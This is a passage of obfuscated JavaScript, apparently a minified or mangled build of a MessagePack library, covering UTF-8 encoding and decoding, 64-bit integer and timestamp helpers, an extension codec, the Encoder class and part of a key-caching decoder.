| (_0x5807af15 & 4294901760) === 0 ? (_0x26e9[_0x4a2d9++] = _0x5807af15 >> 12 & 15 | 224, _0x26e9[_0x4a2d9++] = _0x5807af15 >> 6 & 63 | 128) : (_0x26e9[_0x4a2d9++] = _0x5807af15 >> 18 & 7 | 240, _0x26e9[_0x4a2d9++] = _0x5807af15 >> 12 & 63 | 128, _0x26e9[_0x4a2d9++] = _0x5807af15 >> 6 & 63 | 128); | |
| } | |
| } | |
| _0x26e9[_0x4a2d9++] = _0x5807af15 & 63 | 128; | |
| } | |
| } | |
| var sharedTextEncoder = new TextEncoder(), | |
| TEXT_ENCODER_THRESHOLD = 50; | |
| function utf8EncodeTE(_0x4098ed3, _0xf2, _0x4b8) { | |
| const _0x49 = potato; | |
| sharedTextEncoder["encodeInto"](_0x4098ed3, _0xf2["subarray"](_0x4b8)); | |
| } | |
| function utf8Encode(_0x1841c5, _0x57bfd3, _0x52) { | |
| const _0x16b7df2 = potato; | |
| _0x1841c5["length"] > TEXT_ENCODER_THRESHOLD ? utf8EncodeTE(_0x1841c5, _0x57bfd3, _0x52) : utf8EncodeJs(_0x1841c5, _0x57bfd3, _0x52); | |
| } | |
| var CHUNK_SIZE = 4096; | |
| function utf8DecodeJs(_0x904e8, _0x15587e3, _0xc9daa2) { | |
| const _0x53e2a = potato; | |
| let _0x3cc0 = _0x15587e3; | |
| const _0x3d4ee2 = _0x3cc0 + _0xc9daa2, | |
| _0x51ce6c11 = []; | |
| let _0x270cbc5 = ""; | |
| while (_0x3cc0 < _0x3d4ee2) { | |
| const _0x9400bb1 = _0x904e8[_0x3cc0++]; | |
| if ((_0x9400bb1 & 128) === 0) _0x51ce6c11["push"](_0x9400bb1); | |
| else { | |
| if ((_0x9400bb1 & 224) === 192) { | |
| const _0x21b8df3 = _0x904e8[_0x3cc0++] & 63; | |
| _0x51ce6c11["push"]((_0x9400bb1 & 31) << 6 | _0x21b8df3); | |
| } else { | |
| if ((_0x9400bb1 & 240) === 224) { | |
| const _0x5e70f2 = _0x904e8[_0x3cc0++] & 63, | |
| _0x56abd2 = _0x904e8[_0x3cc0++] & 63; | |
| _0x51ce6c11["push"]((_0x9400bb1 & 31) << 12 | _0x5e70f2 << 6 | _0x56abd2); | |
| } else { | |
| if ((_0x9400bb1 & 248) === 240) { | |
| const _0x5a468b3 = _0x904e8[_0x3cc0++] & 63, | |
| _0x50d7ae3 = _0x904e8[_0x3cc0++] & 63, | |
| _0x54ec2 = _0x904e8[_0x3cc0++] & 63; | |
| let _0xa1beb8 = (_0x9400bb1 & 7) << 18 | _0x5a468b3 << 12 | _0x50d7ae3 << 6 | _0x54ec2; | |
| _0xa1beb8 > 65535 && (_0xa1beb8 -= 65536, _0x51ce6c11["push"](_0xa1beb8 >>> 10 & 1023 | 55296), _0xa1beb8 = 56320 | _0xa1beb8 & 1023), _0x51ce6c11["push"](_0xa1beb8); | |
| } else _0x51ce6c11["push"](_0x9400bb1); | |
| } | |
| } | |
| } | |
| _0x51ce6c11["length"] >= CHUNK_SIZE && (_0x270cbc5 += String["fromCharCode"](..._0x51ce6c11), _0x51ce6c11["length"] = 0); | |
| } | |
| return _0x51ce6c11["length"] > 0 && (_0x270cbc5 += String["fromCharCode"](..._0x51ce6c11)), _0x270cbc5; | |
| } | |
| var sharedTextDecoder = new TextDecoder(), | |
| TEXT_DECODER_THRESHOLD = 200; | |
| function utf8DecodeTD(_0x38c7cc3, _0x40b3, _0x346ce2) { | |
| const _0x3806fc2 = potato, | |
| _0x51fa2 = _0x38c7cc3["subarray"](_0x40b3, _0x40b3 + _0x346ce2); | |
| return sharedTextDecoder["decode"](_0x51fa2); | |
| } | |
| function utf8Decode(_0x4f3, _0x5d4b3, _0x56) { | |
| return _0x56 > TEXT_DECODER_THRESHOLD ? utf8DecodeTD(_0x4f3, _0x5d4b3, _0x56) : utf8DecodeJs(_0x4f3, _0x5d4b3, _0x56); | |
| } | |
| var ExtData = class { | |
| constructor(_0x11075f3, _0x2582f2) { | |
| const _0x4fb1ea2 = potato; | |
| this["type"] = _0x11075f3, this["data"] = _0x2582f2; | |
| } | |
| }, | |
| DecodeError = class _DecodeError extends Error { | |
| constructor(_0x583fda3) { | |
| const _0x993f1b2 = potato; | |
| super(_0x583fda3); | |
| const _0x58 = Object["create"](_DecodeError["prototype"]); | |
| Object["setPrototypeOf"](this, _0x58), Object["defineProperty"](this, "name", { | |
| "configurable": !![], | |
| "enumerable": ![], | |
| "value": _DecodeError["name"] | |
| }); | |
| } | |
| }, | |
| UINT32_MAX = 4294967295; | |
| function setUint64(_0x353d5d4, _0x59fab4, _0x320b9e4) { | |
| const _0xf3 = potato, | |
| _0x8302f2 = _0x320b9e4 / 4294967296, | |
| _0x17eecd3 = _0x320b9e4; | |
| _0x353d5d4["setUint32"](_0x59fab4, _0x8302f2), _0x353d5d4["setUint32"](_0x59fab4 + 4, _0x17eecd3); | |
| } | |
| function setInt64(_0x3a1, _0x61, _0x1a85cc4) { | |
| const _0x17f7ac2 = potato, | |
| _0x5e7a2 = Math["floor"](_0x1a85cc4 / 4294967296), | |
| _0x12a86f3 = _0x1a85cc4; | |
| _0x3a1["setUint32"](_0x61, _0x5e7a2), _0x3a1["setUint32"](_0x61 + 4, _0x12a86f3); | |
| } | |
| function getInt64(_0x5ae3, _0x5655dd4) { | |
| const _0x3768e = potato, | |
| _0x57244f3 = _0x5ae3["getInt32"](_0x5655dd4), | |
| _0x2c2 = _0x5ae3["getUint32"](_0x5655dd4 + 4); | |
| return _0x57244f3 * 4294967296 + _0x2c2; | |
| } | |
| function getUint64(_0x3388e3, _0xb1ffb3) { | |
| const _0x563efa2 = potato, | |
| _0x25abdf3 = _0x3388e3["getUint32"](_0xb1ffb3), | |
| _0x151cb2 = _0x3388e3["getUint32"](_0xb1ffb3 + 4); | |
| return _0x25abdf3 * 4294967296 + _0x151cb2; | |
| } | |
| var EXT_TIMESTAMP = -1, | |
| TIMESTAMP32_MAX_SEC = 4294967296 - 1, | |
| TIMESTAMP64_MAX_SEC = 17179869184 - 1; | |
| function encodeTimeSpecToTimestamp({ | |
| sec: _0x40a3f9, | |
| nsec: _0x1b13 | |
| }) { | |
| const _0x471f = potato; | |
| if (_0x40a3f9 >= 0 && _0x1b13 >= 0 && _0x40a3f9 <= TIMESTAMP64_MAX_SEC) { | |
| if (_0x1b13 === 0 && _0x40a3f9 <= TIMESTAMP32_MAX_SEC) { | |
| const _0x2a7d3 = new Uint8Array(4), | |
| _0x63 = new DataView(_0x2a7d3["buffer"]); | |
| return _0x63["setUint32"](0, _0x40a3f9), _0x2a7d3; | |
| } else { | |
| const _0x23efd2 = _0x40a3f9 / 4294967296, | |
| _0x3a06ed3 = _0x40a3f9 & 4294967295, | |
| _0x5c44b3 = new Uint8Array(8), | |
| _0x4f9ab3 = new DataView(_0x5c44b3["buffer"]); | |
| return _0x4f9ab3["setUint32"](0, _0x1b13 << 2 | _0x23efd2 & 3), _0x4f9ab3["setUint32"](4, _0x3a06ed3), _0x5c44b3; | |
| } | |
| } else { | |
| const _0xe7e0fc4 = new Uint8Array(12), | |
| _0xa3 = new DataView(_0xe7e0fc4["buffer"]); | |
| return _0xa3["setUint32"](0, _0x1b13), setInt64(_0xa3, 4, _0x40a3f9), _0xe7e0fc4; | |
| } | |
| } | |
| function encodeDateToTimeSpec(_0x4c3f2) { | |
| const _0x4100f = potato, | |
| _0x2068bc4 = _0x4c3f2["getTime"](), | |
| _0x4426c3 = Math["floor"](_0x2068bc4 / 1000), | |
| _0xa3ca3 = (_0x2068bc4 - _0x4426c3 * 1000) * 1000000, | |
| _0x38dc3 = Math["floor"](_0xa3ca3 / 1000000000); | |
| return { | |
| "sec": _0x4426c3 + _0x38dc3, | |
| "nsec": _0xa3ca3 - _0x38dc3 * 1000000000 | |
| }; | |
| } | |
| function encodeTimestampExtension(_0xfab2b3) { | |
| if (_0xfab2b3 instanceof Date) { | |
| const _0x3b3de2 = encodeDateToTimeSpec(_0xfab2b3); | |
| return encodeTimeSpecToTimestamp(_0x3b3de2); | |
| } else return null; | |
| } | |
| function decodeTimestampToTimeSpec(_0x274ea7) { | |
| const _0x482b0e2 = potato, | |
| _0x69 = new DataView(_0x274ea7["buffer"], _0x274ea7["byteOffset"], _0x274ea7["byteLength"]); | |
| switch (_0x274ea7["byteLength"]) { | |
| case 4: { | |
| const _0x29a2 = _0x69["getUint32"](0), | |
| _0x5d2 = 0; | |
| return { | |
| "sec": _0x29a2, | |
| "nsec": _0x5d2 | |
| }; | |
| } | |
| case 8: { | |
| const _0x4a662c4 = _0x69["getUint32"](0), | |
| _0x22d2 = _0x69["getUint32"](4), | |
| _0x4f243d3 = (_0x4a662c4 & 3) * 4294967296 + _0x22d2, | |
| _0x305fe2 = _0x4a662c4 >>> 2; | |
| return { | |
| "sec": _0x4f243d3, | |
| "nsec": _0x305fe2 | |
| }; | |
| } | |
| case 12: { | |
| const _0x55af2 = getInt64(_0x69, 4), | |
| _0x3e1e2 = _0x69["getUint32"](0); | |
| return { | |
| "sec": _0x55af2, | |
| "nsec": _0x3e1e2 | |
| }; | |
| } | |
| default: | |
| throw new DecodeError("Unrecognized data size for timestamp (expected 4, 8, or 12): " + _0x274ea7["length"]); | |
| } | |
| } | |
| function decodeTimestampExtension(_0x322f0f3) { | |
| const _0x14e = potato, | |
| _0x13dcc3 = decodeTimestampToTimeSpec(_0x322f0f3); | |
| return new Date(_0x13dcc3["sec"] * 1000 + _0x13dcc3["nsec"] / 1000000); | |
| } | |
| var timestampExtension = { | |
| "type": EXT_TIMESTAMP, | |
| "encode": encodeTimestampExtension, | |
| "decode": decodeTimestampExtension | |
| }, | |
| ExtensionCodec = class { | |
| constructor() { | |
| const _0x3233c = potato; | |
| this["builtInEncoders"] = [], this["builtInDecoders"] = [], this["encoders"] = [], this["decoders"] = [], this["register"](timestampExtension); | |
| } | |
| ["register"]({ | |
| type: _0x1c35c6, | |
| encode: _0x2db7f3, | |
| decode: _0x5a0f3 | |
| }) { | |
| const _0x17c = potato; | |
| if (_0x1c35c6 >= 0) this["encoders"][_0x1c35c6] = _0x2db7f3, this["decoders"][_0x1c35c6] = _0x5a0f3; | |
| else { | |
| const _0x12ac3 = -1 - _0x1c35c6; | |
| this["builtInEncoders"][_0x12ac3] = _0x2db7f3, this["builtInDecoders"][_0x12ac3] = _0x5a0f3; | |
| } | |
| } | |
| ["tryToEncode"](_0x37cec6, _0x541c3b4) { | |
| const _0x70 = potato; | |
| for (let _0x35095e6 = 0; _0x35095e6 < this["builtInEncoders"]["length"]; _0x35095e6++) { | |
| const _0x21cafc4 = this["builtInEncoders"][_0x35095e6]; | |
| if (_0x21cafc4 != null) { | |
| const _0x1d2b3 = _0x21cafc4(_0x37cec6, _0x541c3b4); | |
| if (_0x1d2b3 != null) { | |
| const _0x165a2 = -1 - _0x35095e6; | |
| return new ExtData(_0x165a2, _0x1d2b3); | |
| } | |
| } | |
| } | |
| for (let _0x37c5 = 0; _0x37c5 < this["encoders"]["length"]; _0x37c5++) { | |
| const _0x1fe3ea4 = this["encoders"][_0x37c5]; | |
| if (_0x1fe3ea4 != null) { | |
| const _0x3bbe3 = _0x1fe3ea4(_0x37cec6, _0x541c3b4); | |
| if (_0x3bbe3 != null) { | |
| const _0x1b1b9b3 = _0x37c5; | |
| return new ExtData(_0x1b1b9b3, _0x3bbe3); | |
| } | |
| } | |
| } | |
| if (_0x37cec6 instanceof ExtData) return _0x37cec6; | |
| return null; | |
| } | |
| ["decode"](_0x123ff4, _0x40419c7, _0x2486b2) { | |
| const _0x71 = potato, | |
| _0x46a24f4 = _0x40419c7 < 0 ? this["builtInDecoders"][-1 - _0x40419c7] : this["decoders"][_0x40419c7]; | |
| return _0x46a24f4 ? _0x46a24f4(_0x123ff4, _0x40419c7, _0x2486b2) : new ExtData(_0x40419c7, _0x123ff4); | |
| } | |
| }; | |
| ExtensionCodec["defaultCodec"] = new ExtensionCodec(); | |
| function isArrayBufferLike(_0x74) { | |
| const _0x22d3 = potato; | |
| return _0x74 instanceof ArrayBuffer || typeof SharedArrayBuffer !== "undefined" && _0x74 instanceof SharedArrayBuffer; | |
| } | |
| function ensureUint8Array(_0xf9943b1) { | |
| const _0x4b0a5d2 = potato; | |
| if (_0xf9943b1 instanceof Uint8Array) return _0xf9943b1; | |
| else { | |
| if (ArrayBuffer["isView"](_0xf9943b1)) return new Uint8Array(_0xf9943b1["buffer"], _0xf9943b1["byteOffset"], _0xf9943b1["byteLength"]); | |
| else return isArrayBufferLike(_0xf9943b1) ? new Uint8Array(_0xf9943b1) : Uint8Array["from"](_0xf9943b1); | |
| } | |
| } | |
| var DEFAULT_MAX_DEPTH = 100, | |
| DEFAULT_INITIAL_BUFFER_SIZE = 2048, | |
| Encoder = class _Encoder { | |
| constructor(_0x46771f1) { | |
| const _0x75 = potato; | |
| this["entered"] = ![], this["extensionCodec"] = _0x46771f1?. ["extensionCodec"] ?? ExtensionCodec["defaultCodec"], this["context"] = _0x46771f1?. ["context"], this["useBigInt64"] = _0x46771f1?. ["useBigInt64"] ?? ![], this["maxDepth"] = _0x46771f1?. ["maxDepth"] ?? DEFAULT_MAX_DEPTH, this["initialBufferSize"] = _0x46771f1?. ["initialBufferSize"] ?? DEFAULT_INITIAL_BUFFER_SIZE, this["sortKeys"] = _0x46771f1?. ["sortKeys"] ?? ![], this["forceFloat32"] = _0x46771f1?. ["forceFloat32"] ?? ![], this["ignoreUndefined"] = _0x46771f1?. ["ignoreUndefined"] ?? ![], this["forceIntegerToFloat"] = _0x46771f1?. ["forceIntegerToFloat"] ?? ![], this["pos"] = 0, this["view"] = new DataView(new ArrayBuffer(this["initialBufferSize"])), this["bytes"] = new Uint8Array(this["view"]["buffer"]); | |
| } | |
| ["clone"]() { | |
| const _0x54d = potato; | |
| return new _Encoder({ | |
| "extensionCodec": this["extensionCodec"], | |
| "context": this["context"], | |
| "useBigInt64": this["useBigInt64"], | |
| "maxDepth": this["maxDepth"], | |
| "initialBufferSize": this["initialBufferSize"], | |
| "sortKeys": this["sortKeys"], | |
| "forceFloat32": this["forceFloat32"], | |
| "ignoreUndefined": this["ignoreUndefined"], | |
| "forceIntegerToFloat": this["forceIntegerToFloat"] | |
| }); | |
| } | |
| ["reinitializeState"]() { | |
| const _0xe8c0a = potato; | |
| this["pos"] = 0; | |
| } | |
| ["encodeSharedRef"](_0x78) { | |
| const _0x4e = potato; | |
| if (this["entered"]) { | |
| const _0x26f2 = this["clone"](); | |
| return _0x26f2["encodeSharedRef"](_0x78); | |
| } | |
| try { | |
| return this["entered"] = !![], this["reinitializeState"](), this["doEncode"](_0x78, 1), this["bytes"]["subarray"](0, this["pos"]); | |
| } finally { | |
| this["entered"] = ![]; | |
| } | |
| } | |
| ["encode"](_0x4861f3) { | |
| const _0x2e239c2 = potato; | |
| if (this["entered"]) { | |
| const _0x22f5ff3 = this["clone"](); | |
| return _0x22f5ff3["encode"](_0x4861f3); | |
| } | |
| try { | |
| return this["entered"] = !![], this["reinitializeState"](), this["doEncode"](_0x4861f3, 1), this["bytes"]["slice"](0, this["pos"]); | |
| } finally { | |
| this["entered"] = ![]; | |
| } | |
| } | |
| ["doEncode"](_0x2eff10, _0x3b102f5) { | |
| const _0x44ec = potato; | |
| if (_0x3b102f5 > this["maxDepth"]) throw new Error("Too deep objects in depth " + _0x3b102f5); | |
| if (_0x2eff10 == null) this["encodeNil"](); | |
| else { | |
| if (typeof _0x2eff10 === "boolean") this["encodeBoolean"](_0x2eff10); | |
| else { | |
| if (typeof _0x2eff10 === "number") !this["forceIntegerToFloat"] ? this["encodeNumber"](_0x2eff10) : this["encodeNumberAsFloat"](_0x2eff10); | |
| else { | |
| if (typeof _0x2eff10 === "string") this["encodeString"](_0x2eff10); | |
| else this["useBigInt64"] && typeof _0x2eff10 === "bigint" ? this["encodeBigInt64"](_0x2eff10) : this["encodeObject"](_0x2eff10, _0x3b102f5); | |
| } | |
| } | |
| } | |
| } | |
| ["ensureBufferSizeToWrite"](_0x16c1ce3) { | |
| const _0x420ab = potato, | |
| _0xf55b3 = this["pos"] + _0x16c1ce3; | |
| this["view"]["byteLength"] < _0xf55b3 && this["resizeBuffer"](_0xf55b3 * 2); | |
| } | |
| ["resizeBuffer"](_0x43a89b3) { | |
| const _0x542abd2 = potato, | |
| _0x81 = new ArrayBuffer(_0x43a89b3), | |
| _0x4d66a3 = new Uint8Array(_0x81), | |
| _0x4f9ad2 = new DataView(_0x81); | |
| _0x4d66a3["set"](this["bytes"]), this["view"] = _0x4f9ad2, this["bytes"] = _0x4d66a3; | |
| } | |
| ["encodeNil"]() { | |
| this["writeU8"](192); | |
| } | |
| ["encodeBoolean"](_0x596e2) { | |
| const _0x2b45bd2 = potato; | |
| _0x596e2 === ![] ? this["writeU8"](194) : this["writeU8"](195); | |
| } | |
| ["encodeNumber"](_0x13eeb23) { | |
| const _0xab86b = potato; | |
| if (!this["forceIntegerToFloat"] && Number["isSafeInteger"](_0x13eeb23)) { | |
| if (_0x13eeb23 >= 0) { | |
| if (_0x13eeb23 < 128) this["writeU8"](_0x13eeb23); | |
| else { | |
| if (_0x13eeb23 < 256) this["writeU8"](204), this["writeU8"](_0x13eeb23); | |
| else { | |
| if (_0x13eeb23 < 65536) this["writeU8"](205), this["writeU16"](_0x13eeb23); | |
| else { | |
| if (_0x13eeb23 < 4294967296) this["writeU8"](206), this["writeU32"](_0x13eeb23); | |
| else !this["useBigInt64"] ? (this["writeU8"](207), this["writeU64"](_0x13eeb23)) : this["encodeNumberAsFloat"](_0x13eeb23); | |
| } | |
| } | |
| } | |
| } else { | |
| if (_0x13eeb23 >= -32) this["writeU8"](224 | _0x13eeb23 + 32); | |
| else { | |
| if (_0x13eeb23 >= -128) this["writeU8"](208), this["writeI8"](_0x13eeb23); | |
| else { | |
| if (_0x13eeb23 >= -32768) this["writeU8"](209), this["writeI16"](_0x13eeb23); | |
| else { | |
| if (_0x13eeb23 >= -2147483648) this["writeU8"](210), this["writeI32"](_0x13eeb23); | |
| else !this["useBigInt64"] ? (this["writeU8"](211), this["writeI64"](_0x13eeb23)) : this["encodeNumberAsFloat"](_0x13eeb23); | |
| } | |
| } | |
| } | |
| } | |
| } else this["encodeNumberAsFloat"](_0x13eeb23); | |
| } | |
| ["encodeNumberAsFloat"](_0x1c457d4) { | |
| const _0x4d6aed2 = potato; | |
| this["forceFloat32"] ? (this["writeU8"](202), this["writeF32"](_0x1c457d4)) : (this["writeU8"](203), this["writeF64"](_0x1c457d4)); | |
| } | |
| ["encodeBigInt64"](_0x85) { | |
| const _0x20acc = potato; | |
| _0x85 >= BigInt(0) ? (this["writeU8"](207), this["writeBigUint64"](_0x85)) : (this["writeU8"](211), this["writeBigInt64"](_0x85)); | |
| } | |
| ["writeStringHeader"](_0xedf7cc1) { | |
| const _0x3701a = potato; | |
| if (_0xedf7cc1 < 32) this["writeU8"](160 + _0xedf7cc1); | |
| else { | |
| if (_0xedf7cc1 < 256) this["writeU8"](217), this["writeU8"](_0xedf7cc1); | |
| else { | |
| if (_0xedf7cc1 < 65536) this["writeU8"](218), this["writeU16"](_0xedf7cc1); | |
| else { | |
| if (_0xedf7cc1 < 4294967296) this["writeU8"](219), this["writeU32"](_0xedf7cc1); | |
| else throw new Error("Too long string: " + _0xedf7cc1 + " bytes in UTF-8"); | |
| } | |
| } | |
| } | |
| } | |
| ["encodeString"](_0x358e3) { | |
| const _0x4dd6c = potato, | |
| _0x57a20b3 = 1 + 4, | |
| _0x5b98d4 = utf8Count(_0x358e3); | |
| this["ensureBufferSizeToWrite"](_0x57a20b3 + _0x5b98d4), this["writeStringHeader"](_0x5b98d4), utf8Encode(_0x358e3, this["bytes"], this["pos"]), this["pos"] += _0x5b98d4; | |
| } | |
| ["encodeObject"](_0xb04c9, _0xa6) { | |
| const _0x45b = potato, | |
| _0x3eee3 = this["extensionCodec"]["tryToEncode"](_0xb04c9, this["context"]); | |
| if (_0x3eee3 != null) this["encodeExtension"](_0x3eee3); | |
| else { | |
| if (Array["isArray"](_0xb04c9)) this["encodeArray"](_0xb04c9, _0xa6); | |
| else { | |
| if (ArrayBuffer["isView"](_0xb04c9)) this["encodeBinary"](_0xb04c9); | |
| else { | |
| if (typeof _0xb04c9 === "object") this["encodeMap"](_0xb04c9, _0xa6); | |
| else throw new Error("Unrecognized object: " + Object["prototype"]["toString"]["apply"](_0xb04c9)); | |
| } | |
| } | |
| } | |
| } | |
| ["encodeBinary"](_0x80401e4) { | |
| const _0x2c82f = potato, | |
| _0x9295b9 = _0x80401e4["byteLength"]; | |
| if (_0x9295b9 < 256) this["writeU8"](196), this["writeU8"](_0x9295b9); | |
| else { | |
| if (_0x9295b9 < 65536) this["writeU8"](197), this["writeU16"](_0x9295b9); | |
| else { | |
| if (_0x9295b9 < 4294967296) this["writeU8"](198), this["writeU32"](_0x9295b9); | |
| else throw new Error("Too large binary: " + _0x9295b9); | |
| } | |
| } | |
| const _0x40bbf2 = ensureUint8Array(_0x80401e4); | |
| this["writeU8a"](_0x40bbf2); | |
| } | |
| ["encodeArray"](_0x3dae0e4, _0x42cefc3) { | |
| const _0x86 = potato, | |
| _0x1437c9 = _0x3dae0e4["length"]; | |
| if (_0x1437c9 < 16) this["writeU8"](144 + _0x1437c9); | |
| else { | |
| if (_0x1437c9 < 65536) this["writeU8"](220), this["writeU16"](_0x1437c9); | |
| else { | |
| if (_0x1437c9 < 4294967296) this["writeU8"](221), this["writeU32"](_0x1437c9); | |
| else throw new Error("Too large array: " + _0x1437c9); | |
| } | |
| } | |
| for (const _0x47aa2 of _0x3dae0e4) { | |
| this["doEncode"](_0x47aa2, _0x42cefc3 + 1); | |
| } | |
| } | |
| ["countWithoutUndefined"](_0x88, _0x316dec3) { | |
| let _0xac0b3 = 0; | |
| for (const _0x56e9f2 of _0x316dec3) { | |
| _0x88[_0x56e9f2] !== void 0 && _0xac0b3++; | |
| } | |
| return _0xac0b3; | |
| } | |
| ["encodeMap"](_0x51a4, _0x24f2) { | |
| const _0x16d = potato, | |
| _0x93 = Object["keys"](_0x51a4); | |
| this["sortKeys"] && _0x93["sort"](); | |
| const _0x1162e8 = this["ignoreUndefined"] ? this["countWithoutUndefined"](_0x51a4, _0x93) : _0x93["length"]; | |
| if (_0x1162e8 < 16) this["writeU8"](128 + _0x1162e8); | |
| else { | |
| if (_0x1162e8 < 65536) this["writeU8"](222), this["writeU16"](_0x1162e8); | |
| else { | |
| if (_0x1162e8 < 4294967296) this["writeU8"](223), this["writeU32"](_0x1162e8); | |
| else throw new Error("Too large map object: " + _0x1162e8); | |
| } | |
| } | |
| for (const _0x479a3 of _0x93) { | |
| const _0x1dbe3 = _0x51a4[_0x479a3]; | |
| !(this["ignoreUndefined"] && _0x1dbe3 === void 0) && (this["encodeString"](_0x479a3), this["doEncode"](_0x1dbe3, _0x24f2 + 1)); | |
| } | |
| } | |
| ["encodeExtension"](_0xc816b7) { | |
| const _0x5ee4da2 = potato; | |
| if (typeof _0xc816b7["data"] === "function") { | |
| const _0x535d3 = _0xc816b7["data"](this["pos"] + 6), | |
| _0x97 = _0x535d3["length"]; | |
| if (_0x97 >= 4294967296) throw new Error("Too large extension object: " + _0x97); | |
| this["writeU8"](201), this["writeU32"](_0x97), this["writeI8"](_0xc816b7["type"]), this["writeU8a"](_0x535d3); | |
| return; | |
| } | |
| const _0x412e11 = _0xc816b7["data"]["length"]; | |
| if (_0x412e11 === 1) this["writeU8"](212); | |
| else { | |
| if (_0x412e11 === 2) this["writeU8"](213); | |
| else { | |
| if (_0x412e11 === 4) this["writeU8"](214); | |
| else { | |
| if (_0x412e11 === 8) this["writeU8"](215); | |
| else { | |
| if (_0x412e11 === 16) this["writeU8"](216); | |
| else { | |
| if (_0x412e11 < 256) this["writeU8"](199), this["writeU8"](_0x412e11); | |
| else { | |
| if (_0x412e11 < 65536) this["writeU8"](200), this["writeU16"](_0x412e11); | |
| else { | |
| if (_0x412e11 < 4294967296) this["writeU8"](201), this["writeU32"](_0x412e11); | |
| else throw new Error("Too large extension object: " + _0x412e11); | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| } | |
| this["writeI8"](_0xc816b7["type"]), this["writeU8a"](_0xc816b7["data"]); | |
| } | |
| ["writeU8"](_0x52d34c3) { | |
| const _0x98 = potato; | |
| this["ensureBufferSizeToWrite"](1), this["view"]["setUint8"](this["pos"], _0x52d34c3), this["pos"]++; | |
| } | |
| ["writeU8a"](_0x3b1a8e4) { | |
| const _0x4e6fdd2 = potato, | |
| _0x43d3 = _0x3b1a8e4["length"]; | |
| this["ensureBufferSizeToWrite"](_0x43d3), this["bytes"]["set"](_0x3b1a8e4, this["pos"]), this["pos"] += _0x43d3; | |
| } | |
| ["writeI8"](_0x14a1e3) { | |
| const _0x5ace = potato; | |
| this["ensureBufferSizeToWrite"](1), this["view"]["setInt8"](this["pos"], _0x14a1e3), this["pos"]++; | |
| } | |
| ["writeU16"](_0x56d2) { | |
| const _0x4a22ac2 = potato; | |
| this["ensureBufferSizeToWrite"](2), this["view"]["setUint16"](this["pos"], _0x56d2), this["pos"] += 2; | |
| } | |
| ["writeI16"](_0xc1f2) { | |
| const _0x39d8dc2 = potato; | |
| this["ensureBufferSizeToWrite"](2), this["view"]["setInt16"](this["pos"], _0xc1f2), this["pos"] += 2; | |
| } | |
| ["writeU32"](_0x2529e2) { | |
| const _0x468f = potato; | |
| this["ensureBufferSizeToWrite"](4), this["view"]["setUint32"](this["pos"], _0x2529e2), this["pos"] += 4; | |
| } | |
| ["writeI32"](_0x4f2c7d3) { | |
| const _0x2feb = potato; | |
| this["ensureBufferSizeToWrite"](4), this["view"]["setInt32"](this["pos"], _0x4f2c7d3), this["pos"] += 4; | |
| } | |
| ["writeF32"](_0x2e699a3) { | |
| const _0x68a1a = potato; | |
| this["ensureBufferSizeToWrite"](4), this["view"]["setFloat32"](this["pos"], _0x2e699a3), this["pos"] += 4; | |
| } | |
| ["writeF64"](_0x3dd2aa3) { | |
| const _0x49181a2 = potato; | |
| this["ensureBufferSizeToWrite"](8), this["view"]["setFloat64"](this["pos"], _0x3dd2aa3), this["pos"] += 8; | |
| } | |
| ["writeU64"](_0x3c2) { | |
| const _0x58f47d2 = potato; | |
| this["ensureBufferSizeToWrite"](8), setUint64(this["view"], this["pos"], _0x3c2), this["pos"] += 8; | |
| } | |
| ["writeI64"](_0x18a2) { | |
| const _0x2213ca2 = potato; | |
| this["ensureBufferSizeToWrite"](8), setInt64(this["view"], this["pos"], _0x18a2), this["pos"] += 8; | |
| } | |
| ["writeBigUint64"](_0x24339c3) { | |
| const _0x99 = potato; | |
| this["ensureBufferSizeToWrite"](8), this["view"]["setBigUint64"](this["pos"], _0x24339c3), this["pos"] += 8; | |
| } | |
| ["writeBigInt64"](_0x2c4) { | |
| const _0x12abeb2 = potato; | |
| this["ensureBufferSizeToWrite"](8), this["view"]["setBigInt64"](this["pos"], _0x2c4), this["pos"] += 8; | |
| } | |
| }; | |
| function encode(_0x597ac2, _0x51797b3) { | |
| const _0x100 = potato, | |
| _0x27a37d3 = new Encoder(_0x51797b3); | |
| return _0x27a37d3["encodeSharedRef"](_0x597ac2); | |
| } | |
| function prettyByte(_0x52ff3) { | |
| const _0x4634f = potato; | |
| return (_0x52ff3 < 0 ? "-" : "") + "0x" + Math["abs"](_0x52ff3)["toString"](16)["padStart"](2, "0"); | |
| } | |
| var DEFAULT_MAX_KEY_LENGTH = 16, | |
| DEFAULT_MAX_LENGTH_PER_KEY = 16, | |
| CachedKeyDecoder = class { | |
| constructor(_0x36fe2 = DEFAULT_MAX_KEY_LENGTH, _0x41d2 = DEFAULT_MAX_LENGTH_PER_KEY) { | |
| const _0x5b2fc = potato; | |
| this["hit"] = 0, this["miss"] = 0, this["maxKeyLength"] = _0x36fe2, this["maxLengthPerKey"] = _0x41d2, this["caches"] = []; | |
| for (let _0x4431bf4 = 0; _0x4431bf4 < this["maxKeyLength"]; _0x4431bf4++) { | |
| this["caches"]["push"]([]); | |
| } | |
| } | |
| ["canBeCached"](_0x46a3) { | |
| const _0x2d543e2 = potato; | |
| return _0x46a3 > 0 && _0x46a3 <= this["maxKeyLength"]; | |
| } | |
| ["find"](_0x1abe3d3, _0x102, _0x4bc3) { | |
| const _0x36f7bf3 = this["caches"][_0x4bc3 - 1]; | |
| _0x2bd88a: for (const _0x495cc3 of _0x36f7bf3) { | |
| const _0x23eca2 = _0x495cc3["bytes"]; | |
| for (let _0x58c27a6 = 0; _0x58c27a6 < _0x4bc3; _0x58c27a6++) { | |
| if (_0x23eca2[_0x58c27a6] !== _0x1abe3d3[_0x102 + _0x58c27a6]) continue _0x2bd88a; | |
| } | |
| return _0x495cc3["str"]; | |
| } | |
| return null; | |
| } | |
| ["store"](_0x3b6c3, _0x19cdad3) { | |
| const _0x27731e2 = potato, | |
| _0x30a5 = this["caches"][_0x3b6c3["length"] - 1], | |
| _0x57cb6f4 = { | |
| "bytes": _0x3b6c3, | |
| "str": _0x19cdad3 | |
| }; | |
| _0x30a5["length"] >= this["maxLengthPerKey"] ? _0x30a5[Math["random"]() * _0x30a5["length"] | 0] = _0x57cb6f4 : _0x30a5["push"](_0x57cb6f4); | |
| } | |
| ["decode"](_0x19dfe4, _0x107, _0x58c0b5) { | |
| const _0x2162a = potato, | |
| _0x3a026d4 = this["find"](_0x19dfe4, _0x107, _0x58c0b5); | |
| if (_0x3a026d4 != null) return this["hit"]++, _0x3a026d4; | |
| this["miss"]++; | |
| const _0x5ad3 = utf8DecodeJs(_0x19dfe4, _0x107, _0x58c0b5), | |
